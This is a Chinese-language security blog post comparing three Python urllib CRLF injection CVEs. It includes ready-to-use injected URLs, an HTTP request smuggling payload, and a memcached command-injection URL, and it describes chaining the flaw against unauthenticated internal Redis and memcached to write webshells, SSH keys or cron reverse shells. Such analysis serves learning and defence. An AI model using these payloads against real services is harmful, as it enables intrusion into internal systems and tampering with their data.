Python urllib CRLF注入漏洞小结
/0x00 前言
Python urllib CRLF注入漏洞是很早的东西了,但是19年又新爆出两个CVE,这里就比较下这几个CVE利用注意点及区别吧。
0x01 CRLF注入漏洞
CRLF是“回车 + 换行”(\r\n)的简称,十六进制,码为0x0d和0x0a。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。因此,当我们能够控制HTTP消息头中的字符,注入一些恶意的换行比如一些会话Cookie或者HTML代码,这就是CRLF注入。
具体的可看到wooyun之前的文章:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
0x02 CVE-2016-5699
影响版本
urllib2 and urllib in CPython (aka Python) before 2.7.10 and 3.x before 3.4.4
特征
正常访问URL:
http://10.10.10.10:8080
CRLF注入,注入点在IP地址和端口号的分隔符即:
前面:
http://10.10.10.10\r\nx-injected: header\r\ntest:8080
PoC
这部分直接引自参考的文章。
HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。
漏洞验证代码如下,fetch3.py:
1 | #!/usr/bin/env python3 |
本地开启nc监听端口:
1 | nc -l -p 12345 |
接着,正常运行访问:
1 | ./fetch3.py http://127.0.0.1:12345/foo |
在nc中会接收到如下报文:
1 | GET /foo HTTP/1.1 |
现在,我们在IP地址和端口之间的分隔符即:
之前进行CRLF注入,尝试注入两个HTTP头字段:
1 | ./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo |
然后在nc中接收到如下报文:
1 | GET /foo HTTP/1.1 |
可以看到,请求是正常发送的,并且在Host头字段处获取主机IP地址时成功进行了CRLF注入,即将X-injected和x-leftover这两个头字段都注入了进去。至此,攻击者就可以注入任意的HTTP头字段了。
另外,在针对的是域名而非IP地址的场景进行利用的时候有个注意点,就是在域名后进行CRLF注入之前要插入一个空字符如%00
,这样才能顺利地进行DNS查询。
比如下面的CRLF注入会URL解析失败:
1 | http://localhost%0d%0ax-bar:%20:12345/foo |
但是下面的URL是可以正常解析并访问到127.0.0.1的:
1 | http://localhost%00%0d%0ax-bar:%20:12345/foo |
源码分析
参考这篇文章即可:[CVE-2016-5699] Python HTTP header injection in urllib/urllib2
0x03 CVE-2019-9740
影响版本
urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3
特征
正常访问URL:
http://10.10.10.10:8080/test/?test=a
CRLF注入,注入点在IP地址和端口号的分隔符即:
前面,但是和前者的区别在于注入新的端口:
http://10.10.10.10:1234?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123:8080/test/?test=a
PoC
官网的PoC:
1 | #!/usr/bin/env python3 |
在Kali开启nc监听7777端口:
1 | nc -lvp 7777 |
然后运行PoC脚本后,在Kali端接收到请求,可以看到请求报文中是成功CRLF注入了HTTP头字段的:
接着,我们试下攻击Redis,修改PoC脚本如下:
1 | #!/usr/bin/env python3 |
运行脚本,显示报错:
虽然报错,但是在Kali中的Redis中成功创建了新的键值数据,也就是说成功通过Python urllib CRLF注入实现攻击Redis:
源码分析
参考这篇文章即可:CVE-2019-9740 Python urllib CRLF injection vulnerability 浅析
0x04 CVE-2019-9947
影响版本
urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3
特征
正常访问URL:
http://10.10.10.10:8080
CRLF注入,注入点在端口号后面:
http://10.10.10.10:8080/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
http://10.10.10.10:8080/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
PoC
官网的PoC:
1 | import urllib.request |
在Kali开启nc监听7777端口:
1 | nc -lvp 7777 |
然后运行PoC脚本后,在Kali端接收到请求,可以看到两种形式的请求报文中都是成功CRLF注入了HTTP头字段的:
接着修改下PoC脚本来打内网Redis:
1 | import urllib.request |
运行之后虽然报错,但在Kali的Redis中成功创建了新的键值数据,也就是说成功通过Python urllib CRLF注入实现攻击Redis:
0x05 漏洞组合拳
Http Request Smuggling
HRS即HTTP请求走私,在2005年的时候已被提出,只是最近圈内比较重视敏感信息泄露这块才被重新关注,可参考:
比如原始请求如下:
1 | GET /foo HTTP/1.1 |
根据HRS,攻击者可以追加注入一个完整的HTTP请求头:
1 | http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo |
此时请求包内容如下:
1 | GET /foo HTTP/1.1 |
该请求在Apache HTTPD下是能成功利用的,但在其他的Web容器中就不一定能正确地解析利用了,这是需要前端服务和后端服务解析的二义性才能导致HRS攻击成功。
这种攻击可以用在内网攻击上,比如无认证的Rest接口等。
Redis未授权访问漏洞
如果Redis在本地未设置密码验证即存在未授权访问漏洞,那么攻击者可以组合Python urllib CRLF注入漏洞来攻击利用Redis未授权访问漏洞,通过其备份文件的功能实现写WebShell、SSH公钥和定时任务反弹shell等等。
参考:Hack Redis via Python urllib HTTP Header Injection
Memcached未授权访问漏洞
Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,即使没有对外开放端口,但攻击者还是可以组合Python urllib CRLF注入漏洞来通过命令交互来直接读入Memcached中的敏感信息。
如果我们可以控制内网的Python访问一个URL,然后我们就可以轻松的访问memcached了,比如
1 | http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo |
就会产生下面的HTTP头
1 | GET /foo HTTP/1.1 |
当检查下面几行memcached的协议语法的时候,大部分都是语法错误,但是memcached在收到错误的命令的时候并不会关闭连接,这样攻击者就可以在请求的任何位置注入命令了,然后memcached就会执行。下面是memcached的响应(memcached是Debian下包管理默认配置安装的)
1 | ERROR |
经过确认,memcached中确实成功的插入了foo
的值。这种场景下,攻击者就可以给内网的memcached实例发送任意命令了。如果应用依赖于memcached中存储的数据(比如用户的session数据,HTML或者其他的敏感数据),攻击者可能获取应用更高的权限了。这个利用方式还可以造成拒绝服务攻击,就是攻击者可以在memcached中存储大量的数据。